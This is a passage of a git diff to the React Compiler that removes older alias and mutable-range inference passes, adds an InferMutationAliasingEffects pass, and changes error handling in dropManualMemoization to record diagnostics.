+          const {fnPlace, depsList, depsLoc} = memoDetails;
+
           instr.value = getManualMemoizationReplacement(
             fnPlace,
             instr.value.loc,
-            manualMemo.kind
+            manualMemo.kind,
           );
           if (isValidationEnabled) {
             /**
@@ -397,17 +463,25 @@ export function dropManualMemoization(func: HIRFunction): void {
              * is rare and likely sketchy.
              */
             if (!sidemap.functions.has(fnPlace.identifier.id)) {
-              CompilerError.throwInvalidReact({
-                reason: `Expected the first argument to be an inline function expression`,
-                suggestions: [],
-                loc: fnPlace.loc,
-              });
+              func.env.recordError(
+                CompilerDiagnostic.create({
+                  category: ErrorCategory.UseMemo,
+                  reason: `Expected the first argument to be an inline function expression`,
+                  description: `Expected the first argument to be an inline function expression`,
+                  suggestions: [],
+                }).withDetails({
+                  kind: 'error',
+                  loc: fnPlace.loc,
+                  message: `Expected the first argument to be an inline function expression`,
+                }),
+              );
+              continue;
             }
             const memoDecl: Place =
-              manualMemo.kind === "useMemo"
+              manualMemo.kind === 'useMemo'
                 ? instr.lvalue
                 : {
-                    kind: "Identifier",
+                    kind: 'Identifier',
                     identifier: fnPlace.identifier,
                     effect: Effect.Unknown,
                     reactive: false,
@@ -418,8 +492,9 @@ export function dropManualMemoization(func: HIRFunction): void {
               fnPlace,
               func.env,
               depsList,
+              depsLoc,
               memoDecl,
-              nextManualMemoId++
+              nextManualMemoId++,
             );
 
             /**
@@ -474,3 +549,51 @@ export function dropManualMemoization(func: HIRFunction): void {
     }
   }
 }
+
+function findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {
+  const optionals = new Set<IdentifierId>();
+  for (const [, block] of fn.body.blocks) {
+    if (block.terminal.kind === 'optional' && block.terminal.optional) {
+      const optionalTerminal = block.terminal;
+      let testBlock = fn.body.blocks.get(block.terminal.test)!;
+      loop: while (true) {
+        const terminal = testBlock.terminal;
+        switch (terminal.kind) {
+          case 'branch': {
+            if (terminal.fallthrough === optionalTerminal.fallthrough) {
+              // found it
+              const consequent = fn.body.blocks.get(terminal.consequent)!;
+              const last = consequent.instructions.at(-1);
+              if (last !== undefined && last.value.kind === 'StoreLocal') {
+                optionals.add(last.value.value.identifier.id);
+              }
+              break loop;
+            } else {
+              testBlock = fn.body.blocks.get(terminal.fallthrough)!;
+            }
+            break;
+          }
+          case 'optional':
+          case 'logical':
+          case 'sequence':
+          case 'ternary': {
+            testBlock = fn.body.blocks.get(terminal.fallthrough)!;
+            break;
+          }
+          case 'maybe-throw': {
+            testBlock = fn.body.blocks.get(terminal.continuation)!;
+            break;
+          }
+          default: {
+            CompilerError.invariant(false, {
+              reason: `Unexpected terminal in optional`,
+              message: `Unexpected ${terminal.kind} in optional`,
+              loc: terminal.loc,
+            });
+          }
+        }
+      }
+    }
+  }
+  return optionals;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAlias.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAlias.ts
deleted file mode 100644
index 14d7c1bdd18d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAlias.ts
+++ /dev/null
@@ -1,68 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {
-  HIRFunction,
-  Identifier,
-  Instruction,
-  isPrimitiveType,
-  Place,
-} from "../HIR/HIR";
-import DisjointSet from "../Utils/DisjointSet";
-
-export type AliasSet = Set<Identifier>;
-
-export function inferAliases(func: HIRFunction): DisjointSet<Identifier> {
-  const aliases = new DisjointSet<Identifier>();
-  for (const [_, block] of func.body.blocks) {
-    for (const instr of block.instructions) {
-      inferInstr(instr, aliases);
-    }
-  }
-
-  return aliases;
-}
-
-function inferInstr(
-  instr: Instruction,
-  aliases: DisjointSet<Identifier>
-): void {
-  const { lvalue, value: instrValue } = instr;
-  let alias: Place | null = null;
-  switch (instrValue.kind) {
-    case "LoadLocal":
-    case "LoadContext": {
-      if (isPrimitiveType(instrValue.place.identifier)) {
-        return;
-      }
-      alias = instrValue.place;
-      break;
-    }
-    case "StoreLocal":
-    case "StoreContext": {
-      alias = instrValue.value;
-      break;
-    }
-    case "Destructure": {
-      alias = instrValue.value;
-      break;
-    }
-    case "ComputedLoad":
-    case "PropertyLoad": {
-      alias = instrValue.object;
-      break;
-    }
-    case "TypeCastExpression": {
-      alias = instrValue.value;
-      break;
-    }
-    default:
-      return;
-  }
-
-  aliases.union([lvalue.identifier, alias.identifier]);
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAliasForPhis.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAliasForPhis.ts
deleted file mode 100644
index f47a2dc38bca..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAliasForPhis.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { HIRFunction, Identifier } from "../HIR/HIR";
-import DisjointSet from "../Utils/DisjointSet";
-
-export function inferAliasForPhis(
-  func: HIRFunction,
-  aliases: DisjointSet<Identifier>
-): void {
-  for (const [_, block] of func.body.blocks) {
-    for (const phi of block.phis) {
-      const isPhiMutatedAfterCreation: boolean =
-        phi.id.mutableRange.end >
-        (block.instructions.at(0)?.id ?? block.terminal.id);
-      if (isPhiMutatedAfterCreation) {
-        for (const [, operand] of phi.operands) {
-          aliases.union([phi.id, operand]);
-        }
-      }
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAliasForStores.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAliasForStores.ts
deleted file mode 100644
index 79591a8c5923..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferAliasForStores.ts
+++ /dev/null
@@ -1,68 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {
-  Effect,
-  HIRFunction,
-  Identifier,
-  InstructionId,
-  Place,
-} from "../HIR/HIR";
-import {
-  eachInstructionLValue,
-  eachInstructionValueOperand,
-} from "../HIR/visitors";
-import DisjointSet from "../Utils/DisjointSet";
-
-export function inferAliasForStores(
-  func: HIRFunction,
-  aliases: DisjointSet<Identifier>
-): void {
-  for (const [_, block] of func.body.blocks) {
-    for (const instr of block.instructions) {
-      const { value, lvalue } = instr;
-      const isStore =
-        lvalue.effect === Effect.Store ||
-        /*
-         * Some typed functions annotate callees or arguments
-         * as Effect.Store.
-         */
-        ![...eachInstructionValueOperand(value)].every(
-          (operand) => operand.effect !== Effect.Store
-        );
-
-      if (!isStore) {
-        continue;
-      }
-      for (const operand of eachInstructionLValue(instr)) {
-        maybeAlias(aliases, lvalue, operand, instr.id);
-      }
-      for (const operand of eachInstructionValueOperand(value)) {
-        if (
-          operand.effect === Effect.Capture ||
-          operand.effect === Effect.Store
-        ) {
-          maybeAlias(aliases, lvalue, operand, instr.id);
-        }
-      }
-    }
-  }
-}
-
-function maybeAlias(
-  aliases: DisjointSet<Identifier>,
-  lvalue: Place,
-  rvalue: Place,
-  id: InstructionId
-): void {
-  if (
-    lvalue.identifier.mutableRange.end > id + 1 ||
-    rvalue.identifier.mutableRange.end > id
-  ) {
-    aliases.union([lvalue.identifier, rvalue.identifier]);
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableContextVariables.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableContextVariables.ts
deleted file mode 100644
index ed8736df127e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableContextVariables.ts
+++ /dev/null
@@ -1,114 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { Effect, HIRFunction, Identifier, Place } from "../HIR";
-import {
-  eachInstructionValueOperand,
-  eachTerminalOperand,
-} from "../HIR/visitors";
-import { IdentifierState } from "./AnalyseFunctions";
-
-/*
- * This pass infers which of the given function's context (free) variables
- * are definitively mutated by the function. This analysis is *partial*,
- * and only annotates provable mutations, and may miss mutations via indirections.
- * The intent of this pass is to drive validations, rejecting known-bad code
- * while avoiding false negatives, and the inference should *not* be used to
- * drive changes in output.
- *
- * Note that a complete analysis is possible but would have too many false negatives.
- * The approach would be to run LeaveSSA and InferReactiveScopeVariables in order to
- * find all possible aliases of a context variable which may be mutated. However, this
- * can lead to false negatives:
- *
- * ```
- * const [x, setX] = useState(null); // x is frozen
- * const fn = () => { // context=[x]
- *    const z = {}; // z is mutable
- *    foo(z, x); // potentially mutate z and x
- *    z.a = true; // definitively mutate z
- * }
- * fn();
- * ```
- *
- * When we analyze function expressions we assume that context variables are mutable,
- * so we assume that `x` is mutable. We infer that `foo(z, x)` could be mutating the
- * two variables to alias each other, such that `z.a = true` could be mutating `x`,
- * and we would infer that `x` is definitively mutated. Then when we run
- * InferReferenceEffects on the outer code we'd reject it, since there is a definitive
- * mutation of a frozen value.
- *
- * Thus the actual implementation looks at only basic aliasing. The above example would
- * pass, since z does not directly alias `x`. However, mutations through trivial aliases
- * are detected:
- *
- * ```
- * const [x, setX] = useState(null); // x is frozen
- * const fn = () => { // context=[x]
- *    const z = x;
- *    z.a = true; // ERROR: mutates x
- * }
- * fn();
- * ```
- */
-export function inferMutableContextVariables(fn: HIRFunction): void {
-  const state = new IdentifierState();
-  const knownMutatedIdentifiers = new Set<Identifier>();
-  for (const [, block] of fn.body.blocks) {
-    for (const instr of block.instructions) {
-      switch (instr.value.kind) {
-        case "PropertyLoad": {
-          state.declareProperty(
-            instr.lvalue,
-            instr.value.object,
-            instr.value.property
-          );
-          break;
-        }
-        case "ComputedLoad": {
-          /*
-           * The path is set to an empty string as the path doesn't really
-           * matter for a computed load.
-           */
-          state.declareProperty(instr.lvalue, instr.value.object, "");
-          break;
-        }
-        case "LoadLocal":
-        case "LoadContext": {
-          if (instr.lvalue.identifier.name === null) {
-            state.declareTemporary(instr.lvalue, instr.value.place);
-          }
-          break;
-        }
-        default: {
-          for (const operand of eachInstructionValueOperand(instr.value)) {
-            visitOperand(state, knownMutatedIdentifiers, operand);
-          }
-        }
-      }
-    }
-    for (const operand of eachTerminalOperand(block.terminal)) {
-      visitOperand(state, knownMutatedIdentifiers, operand);
-    }
-  }
-  for (const operand of fn.context) {
-    if (knownMutatedIdentifiers.has(operand.identifier)) {
-      operand.effect = Effect.Mutate;
-    }
-  }
-}
-
-function visitOperand(
-  state: IdentifierState,
-  knownMutatedIdentifiers: Set<Identifier>,
-  operand: Place
-): void {
-  const resolved = state.resolve(operand.identifier);
-  if (operand.effect === Effect.Mutate || operand.effect === Effect.Store) {
-    knownMutatedIdentifiers.add(resolved);
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableLifetimes.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableLifetimes.ts
deleted file mode 100644
index 3d494645fccd..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableLifetimes.ts
+++ /dev/null
@@ -1,188 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {
-  Effect,
-  HIRFunction,
-  Identifier,
-  InstructionId,
-  InstructionKind,
-  makeInstructionId,
-  Place,
-} from "../HIR/HIR";
-import { printPlace } from "../HIR/PrintHIR";
-import {
-  eachInstructionLValue,
-  eachInstructionOperand,
-  eachTerminalOperand,
-} from "../HIR/visitors";
-import { assertExhaustive } from "../Utils/utils";
-
-/*
- * For each usage of a value in the given function, determines if the usage
- * may be succeeded by a mutable usage of that same value and if so updates
- * the usage to be mutable.
- *
- * Stated differently, this inference ensures that inferred capabilities of
- * each reference are as follows:
- * - freeze: the value is frozen at this point
- * - readonly: the value is not modified at this point *or any subsequent
- *    point*
- * - mutable: the value is modified at this point *or some subsequent point*.
- *
- * Note that this refines the capabilities inferered by InferReferenceCapability,
- * which looks at individual references and not the lifetime of a value's mutability.
- *
- * == Algorithm
- *
- * TODO:
- * 1. Forward data-flow analysis to determine aliasing. Unlike InferReferenceCapability
- *     which only tracks aliasing of top-level variables (`y = x`), this analysis needs
- *     to know if a value is aliased anywhere (`y.x = x`). The forward data flow tracks
- *     all possible locations which may have aliased a value. The concrete result is
- *     a mapping of each Place to the set of possibly-mutable values it may alias.
- *
- * ```
- * const x = []; // {x: v0; v0: mutable []}
- * const y = {}; // {x: v0, y: v1; v0: mutable [], v1: mutable []}
- * y.x = x;      // {x: v0, y: v1; v0: mutable [v1], v1: mutable [v0]}
- * read(x);      // {x: v0, y: v1; v0: mutable [v1], v1: mutable [v0]}
- * mutate(y);    // can infer that y mutates v0 and v1
- * ```
- *
- * DONE:
- * 2. Forward data-flow analysis to compute mutability liveness. Walk forwards over
- *     the CFG and track which values are mutated in a successor.
- *
- * ```
- * mutate(y);    // mutable y => v0, v1 mutated
- * read(x);      // x maps to v0, v1, those are in the mutated-later set, so x is mutable here
- * ...
- * ```
- */
-
-function infer(place: Place, instrId: InstructionId): void {
-  place.identifier.mutableRange.end = makeInstructionId(instrId + 1);
-}
-
-function inferPlace(
-  place: Place,
-  instrId: InstructionId,
-  inferMutableRangeForStores: boolean
-): void {
-  switch (place.effect) {
-    case Effect.Unknown: {
-      throw new Error(`Found an unknown place ${printPlace(place)}}!`);
-    }
-    case Effect.Capture:
-    case Effect.Read:
-    case Effect.Freeze:
-      return;
-    case Effect.Store:
-      if (inferMutableRangeForStores) {
-        infer(place, instrId);
-      }
-      return;
-    case Effect.ConditionallyMutate:
-    case Effect.Mutate: {
-      infer(place, instrId);
-      return;
-    }
-    default:
-      assertExhaustive(place.effect, `Unexpected ${printPlace(place)} effect`);
-  }
-}
-
-export function inferMutableLifetimes(
-  func: HIRFunction,
-  inferMutableRangeForStores: boolean
-): void {
-  /*
-   * Context variables only appear to mutate where they are assigned, but we need
-   * to force their range to start at their declaration. Track the declaring instruction
-   * id so that the ranges can be extended if/when they are reassigned
-   */
-  const contextVariableDeclarationInstructions = new Map<
-    Identifier,
-    InstructionId
-  >();
-  for (const [_, block] of func.body.blocks) {
-    for (const phi of block.phis) {
-      const isPhiMutatedAfterCreation: boolean =
-        phi.id.mutableRange.end >
-        (block.instructions.at(0)?.id ?? block.terminal.id);
-      if (
-        inferMutableRangeForStores &&
-        isPhiMutatedAfterCreation &&
-        phi.id.mutableRange.start === 0
-      ) {
-        for (const [, operand] of phi.operands) {
-          if (phi.id.mutableRange.start === 0) {
-            phi.id.mutableRange.start = operand.mutableRange.start;
-          } else {
-            phi.id.mutableRange.start = makeInstructionId(
-              Math.min(phi.id.mutableRange.start, operand.mutableRange.start)
-            );
-          }
-        }
-      }
-    }
-
-    for (const instr of block.instructions) {
-      for (const operand of eachInstructionLValue(instr)) {
-        const lvalueId = operand.identifier;
-
-        /*
-         * lvalue start being mutable when they're initially assigned a
-         * value.
-         */
-        lvalueId.mutableRange.start = instr.id;
-
-        /*
-         * Let's be optimistic and assume this lvalue is not mutable by
-         * default.
-         */
-        lvalueId.mutableRange.end = makeInstructionId(instr.id + 1);
-      }
-      for (const operand of eachInstructionOperand(instr)) {
-        inferPlace(operand, instr.id, inferMutableRangeForStores);
-      }
-
-      if (
-        instr.value.kind === "DeclareContext" ||
-        (instr.value.kind === "StoreContext" &&
-          instr.value.lvalue.kind !== InstructionKind.Reassign)
-      ) {
-        // Save declarations of context variables
-        contextVariableDeclarationInstructions.set(
-          instr.value.lvalue.place.identifier,
-          instr.id
-        );
-      } else if (instr.value.kind === "StoreContext") {
-        /*
-         * Else this is a reassignment, extend the range from the declaration (if present).
-         * Note that declarations may not be present for context variables that are reassigned
-         * within a function expression before (or without) a read of the same variable
-         */
-        const declaration = contextVariableDeclarationInstructions.get(
-          instr.value.lvalue.place.identifier
-        );
-        if (declaration != null) {
-          const range = instr.value.lvalue.place.identifier.mutableRange;
-          if (range.start === 0) {
-            range.start = declaration;
-          } else {
-            range.start = makeInstructionId(Math.min(range.start, declaration));
-          }
-        }
-      }
-    }
-    for (const operand of eachTerminalOperand(block.terminal)) {
-      inferPlace(operand, block.terminal.id, inferMutableRangeForStores);
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableRanges.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableRanges.ts
deleted file mode 100644
index c03dd5c25078..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableRanges.ts
+++ /dev/null
@@ -1,70 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { HIRFunction, Identifier } from "../HIR/HIR";
-import { inferAliases } from "./InferAlias";
-import { inferAliasForPhis } from "./InferAliasForPhis";
-import { inferAliasForStores } from "./InferAliasForStores";
-import { inferMutableLifetimes } from "./InferMutableLifetimes";
-import { inferMutableRangesForAlias } from "./InferMutableRangesForAlias";
-import { inferTryCatchAliases } from "./InferTryCatchAliases";
-
-export function inferMutableRanges(ir: HIRFunction): void {
-  // Infer mutable ranges for non fields
-  inferMutableLifetimes(ir, false);
-
-  // Calculate aliases
-  const aliases = inferAliases(ir);
-  /*
-   * Calculate aliases for try/catch, where any value created
-   * in the try block could be aliased to the catch param
-   */
-  inferTryCatchAliases(ir, aliases);
-
-  /*
-   * Eagerly canonicalize so that if nothing changes we can bail out
-   * after a single iteration
-   */
-  let prevAliases: Map<Identifier, Identifier> = aliases.canonicalize();
-  while (true) {
-    // Infer mutable ranges for aliases that are not fields
-    inferMutableRangesForAlias(ir, aliases);
-
-    // Update aliasing information of fields
-    inferAliasForStores(ir, aliases);
-
-    // Update aliasing information of phis
-    inferAliasForPhis(ir, aliases);
-
-    const nextAliases = aliases.canonicalize();
-    if (areEqualMaps(prevAliases, nextAliases)) {
-      break;
-    }
-    prevAliases = nextAliases;
-  }
-
-  // Re-infer mutable ranges for all values
-  inferMutableLifetimes(ir, true);
-
-  // Re-infer mutable ranges for aliases
-  inferMutableRangesForAlias(ir, aliases);
-}
-
-function areEqualMaps<T>(a: Map<T, T>, b: Map<T, T>): boolean {
-  if (a.size !== b.size) {
-    return false;
-  }
-  for (const [key, value] of a) {
-    if (!b.has(key)) {
-      return false;
-    }
-    if (b.get(key) !== value) {
-      return false;
-    }
-  }
-  return true;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableRangesForAlias.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableRangesForAlias.ts
deleted file mode 100644
index fcfe4df4ad6f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutableRangesForAlias.ts
+++ /dev/null
@@ -1,45 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { HIRFunction, Identifier, InstructionId } from "../HIR/HIR";
-import DisjointSet from "../Utils/DisjointSet";
-
-export function inferMutableRangesForAlias(
-  _fn: HIRFunction,
-  aliases: DisjointSet<Identifier>
-): void {
-  const aliasSets = aliases.buildSets();
-  for (const aliasSet of aliasSets) {
-    /*
-     * Update mutableRange.end only if the identifiers have actually been
-     * mutated.
-     */
-    const mutatingIdentifiers = [...aliasSet].filter(
-      (id) => id.mutableRange.end - id.mutableRange.start > 1
-    );
-
-    if (mutatingIdentifiers.length > 0) {
-      // Find final instruction which mutates this alias set.
-      let lastMutatingInstructionId = 0;
-      for (const id of mutatingIdentifiers) {
-        if (id.mutableRange.end > lastMutatingInstructionId) {
-          lastMutatingInstructionId = id.mutableRange.end;
-        }
-      }
-
-      /*
-       * Update mutableRange.end for all aliases in this set ending before the
-       * last mutation.
-       */
-      for (const alias of aliasSet) {
-        if (alias.mutableRange.end < lastMutatingInstructionId) {
-          alias.mutableRange.end = lastMutatingInstructionId as InstructionId;
-        }
-      }
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingEffects.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingEffects.ts
new file mode 100644
index 000000000000..4cdbb6aea6c1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingEffects.ts
@@ -0,0 +1,2975 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  Effect,
+  SourceLocation,
+  ValueKind,
+} from '..';
+import {
+  BasicBlock,
+  BlockId,
+  DeclarationId,
+  Environment,
+  FunctionExpression,
+  GeneratedSource,
+  getHookKind,
+  HIRFunction,
+  Hole,
+  IdentifierId,
+  Instruction,
+  InstructionKind,
+  InstructionValue,
+  isArrayType,
+  isJsxType,
+  isMapType,
+  isPrimitiveType,
+  isRefOrRefValue,
+  isSetType,
+  makeIdentifierId,
+  Phi,
+  Place,
+  SpreadPattern,
+  Type,
+  ValueReason,
+} from '../HIR';
+import {
+  eachInstructionValueOperand,
+  eachPatternItem,
+  eachTerminalOperand,
+  eachTerminalSuccessor,
+} from '../HIR/visitors';
+
+import {
+  assertExhaustive,
+  getOrInsertDefault,
+  getOrInsertWith,
+  Set_isSuperset,
+} from '../Utils/utils';
+import {
+  printAliasingEffect,
+  printAliasingSignature,
+  printIdentifier,
+  printInstruction,
+  printInstructionValue,
+  printPlace,
+} from '../HIR/PrintHIR';
+import {FunctionSignature} from '../HIR/ObjectShape';
+import prettyFormat from 'pretty-format';
+import {createTemporaryPlace} from '../HIR/HIRBuilder';
+import {
+  AliasingEffect,
+  AliasingSignature,
+  hashEffect,
+  MutationReason,
+} from './AliasingEffects';
+import {ErrorCategory} from '../CompilerError';
+
+const DEBUG = false;
+
+/**
+ * Infers the mutation/aliasing effects for instructions and terminals and annotates
+ * them on the HIR, making the effects of builtin instructions/functions as well as
+ * user-defined functions explicit. These effects then form the basis for subsequent
+ * analysis to determine the mutable range of each value in the program — the set of
+ * instructions over which the value is created and mutated — as well as validation
+ * against invalid code.
+ *
+ * At a high level the approach is:
+ * - Determine a set of candidate effects based purely on the syntax of the instruction
+ *   and the types involved. These candidate effects are cached the first time each
+ *   instruction is visited. The idea is to reason about the semantics of the instruction
+ *   or function in isolation, separately from how those effects may interact with later
+ *   abstract interpretation.
+ * - Then we do abstract interpretation over the HIR, iterating until reaching a fixpoint.
+ *   This phase tracks the abstract kind of each value (mutable, primitive, frozen, etc)
+ *   and the set of values pointed to by each identifier. Each candidate effect is "applied"
+ *   to the current abtract state, and effects may be dropped or rewritten accordingly.
+ *   For example, a "MutateConditionally <x>" effect may be dropped if x is not a mutable
+ *   value. A "Mutate <y>" effect may get converted into a "MutateFrozen <error>" effect
+ *   if y is mutable, etc.
+ */
+export function inferMutationAliasingEffects(
+  fn: HIRFunction,
+  {isFunctionExpression}: {isFunctionExpression: boolean} = {
+    isFunctionExpression: false,
+  },
+): void {
+  const initialState = InferenceState.empty(fn.env, isFunctionExpression);
+
+  // Map of blocks to the last (merged) incoming state that was processed
+  const statesByBlock: Map<BlockId, InferenceState> = new Map();
+
+  for (const ref of fn.context) {
+    // TODO: using InstructionValue as a bit of a hack, but it's pragmatic
+    const value: InstructionValue = {
+      kind: 'ObjectExpression',
+      properties: [],
+      loc: ref.loc,
+    };
+    initialState.initialize(value, {
+      kind: ValueKind.Context,
+      reason: new Set([ValueReason.Other]),
+    });
+    initialState.define(ref, value);
+  }
+
+  const paramKind: AbstractValue = isFunctionExpression
+    ? {
+        kind: ValueKind.Mutable,
+        reason: new Set([ValueReason.Other]),
+      }
+    : {
+        kind: ValueKind.Frozen,
+        reason: new Set([ValueReason.ReactiveFunctionArgument]),
+      };
+
+  if (fn.fnType === 'Component') {
+    CompilerError.invariant(fn.params.length <= 2, {
+      reason:
+        'Expected React component to have not more than two parameters: one for props and for ref',
+      loc: fn.loc,
+    });
+    const [props, ref] = fn.params;
+    if (props != null) {
+      inferParam(props, initialState, paramKind);
+    }
+    if (ref != null) {
+      const place = ref.kind === 'Identifier' ? ref : ref.place;
+      const value: InstructionValue = {
+        kind: 'ObjectExpression',
+        properties: [],
+        loc: place.loc,
+      };
+      initialState.initialize(value, {
+        kind: ValueKind.Mutable,
+        reason: new Set([ValueReason.Other]),
+      });
+      initialState.define(place, value);
+    }
+  } else {
+    for (const param of fn.params) {
+      inferParam(param, initialState, paramKind);
+    }
+  }
+
+  /*
+   * Multiple predecessors may be visited prior to reaching a given successor,
+   * so track the list of incoming state for each successor block.
+   * These are merged when reaching that block again.
+   */
+  const queuedStates: Map<BlockId, InferenceState> = new Map();
+  function queue(blockId: BlockId, state: InferenceState): void {
+    let queuedState = queuedStates.get(blockId);
+    if (queuedState != null) {
+      // merge the queued states for this block
+      state = queuedState.merge(state) ?? queuedState;
+      queuedStates.set(blockId, state);
+    } else {
+      /*
+       * this is the first queued state for this block, see whether
+       * there are changed relative to the last time it was processed.
+       */
+      const prevState = statesByBlock.get(blockId);
+      const nextState = prevState != null ? prevState.merge(state) : state;
+      if (nextState != null) {
+        queuedStates.set(blockId, nextState);
+      }
+    }
+  }
+  queue(fn.body.entry, initialState);
+
+  const hoistedContextDeclarations = findHoistedContextDeclarations(fn);
+
+  const context = new Context(
+    isFunctionExpression,
+    fn,
+    hoistedContextDeclarations,
+    findNonMutatedDestructureSpreads(fn),
+  );
+
+  let iterationCount = 0;
+  while (queuedStates.size !== 0) {
+    iterationCount++;
+    if (iterationCount > 100) {
+      CompilerError.invariant(false, {
+        reason: `[InferMutationAliasingEffects] Potential infinite loop`,
+        description: `A value, temporary place, or effect was not cached properly`,
+        loc: fn.loc,
+      });
+    }
+    for (const [blockId, block] of fn.body.blocks) {
+      const incomingState = queuedStates.get(blockId);
+      queuedStates.delete(blockId);
+      if (incomingState == null) {
+        continue;
+      }
+
+      statesByBlock.set(blockId, incomingState);
+      const state = incomingState.clone();
+      inferBlock(context, state, block);
+
+      for (const nextBlockId of eachTerminalSuccessor(block.terminal)) {
+        queue(nextBlockId, state);
+      }
+    }
+  }
+  return;
+}
+
+function findHoistedContextDeclarations(
+  fn: HIRFunction,
+): Map<DeclarationId, Place | null> {
+  const hoisted = new Map<DeclarationId, Place | null>();
+  function visit(place: Place): void {
+    if (
+      hoisted.has(place.identifier.declarationId) &&
+      hoisted.get(place.identifier.declarationId) == null
+    ) {
+      // If this is the first load of the value, store the location
+      hoisted.set(place.identifier.declarationId, place);
+    }
+  }
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      if (instr.value.kind === 'DeclareContext') {
+        const kind = instr.value.lvalue.kind;
+        if (
+          kind == InstructionKind.HoistedConst ||
+          kind == InstructionKind.HoistedFunction ||
+          kind == InstructionKind.HoistedLet
+        ) {
+          hoisted.set(instr.value.lvalue.place.identifier.declarationId, null);
+        }
+      } else {
+        for (const operand of eachInstructionValueOperand(instr.value)) {
+          visit(operand);
+        }
+      }
+    }
+    for (const operand of eachTerminalOperand(block.terminal)) {
+      visit(operand);
+    }
+  }
+  return hoisted;
+}
+
+class Context {
+  internedEffects: Map<string, AliasingEffect> = new Map();
+  instructionSignatureCache: Map<Instruction, InstructionSignature> = new Map();
+  effectInstructionValueCache: Map<AliasingEffect, InstructionValue> =
+    new Map();
+  applySignatureCache: Map<
+    AliasingSignature,
+    Map<AliasingEffect, Array<AliasingEffect> | null>
+  > = new Map();
+  catchHandlers: Map<BlockId, Place> = new Map();
+  functionSignatureCache: Map<FunctionExpression, AliasingSignature> =
+    new Map();
+  isFuctionExpression: boolean;
+  fn: HIRFunction;
+  hoistedContextDeclarations: Map<DeclarationId, Place | null>;
+  nonMutatingSpreads: Set<IdentifierId>;
+
+  constructor(
+    isFunctionExpression: boolean,
+    fn: HIRFunction,
+    hoistedContextDeclarations: Map<DeclarationId, Place | null>,
+    nonMutatingSpreads: Set<IdentifierId>,
+  ) {
+    this.isFuctionExpression = isFunctionExpression;
+    this.fn = fn;
+    this.hoistedContextDeclarations = hoistedContextDeclarations;
+    this.nonMutatingSpreads = nonMutatingSpreads;
+  }
+
+  cacheApplySignature(
+    signature: AliasingSignature,
+    effect: Extract<AliasingEffect, {kind: 'Apply'}>,
+    f: () => Array<AliasingEffect> | null,
+  ): Array<AliasingEffect> | null {
+    const inner = getOrInsertDefault(
+      this.applySignatureCache,
+      signature,
+      new Map(),
+    );
+    return getOrInsertWith(inner, effect, f);
+  }
+
+  internEffect(effect: AliasingEffect): AliasingEffect {
+    const hash = hashEffect(effect);
+    let interned = this.internedEffects.get(hash);
+    if (interned == null) {
+      this.internedEffects.set(hash, effect);
+      interned = effect;
+    }
+    return interned;
+  }
+}
+
+/**
+ * Finds objects created via ObjectPattern spread destructuring
+ * (`const {x, ...spread} = ...`) where a) the rvalue is known frozen and
+ * b) the spread value cannot possibly be directly mutated. The idea is that
+ * for this set of values, we can treat the spread object as frozen.
+ *
+ * The primary use case for this is props spreading:
+ *
+ * ```
+ * function Component({prop, ...otherProps}) {
+ *   const transformedProp = transform(prop, otherProps.foo);
+ *   // pass `otherProps` down:
+ *   return <Foo {...otherProps} prop={transformedProp} />;
+ * }
+ * ```
+ *
+ * Here we know that since `otherProps` cannot be mutated, we don't have to treat
+ * it as mutable: `otherProps.foo` only reads a value that must be frozen, so it
+ * can be treated as frozen too.
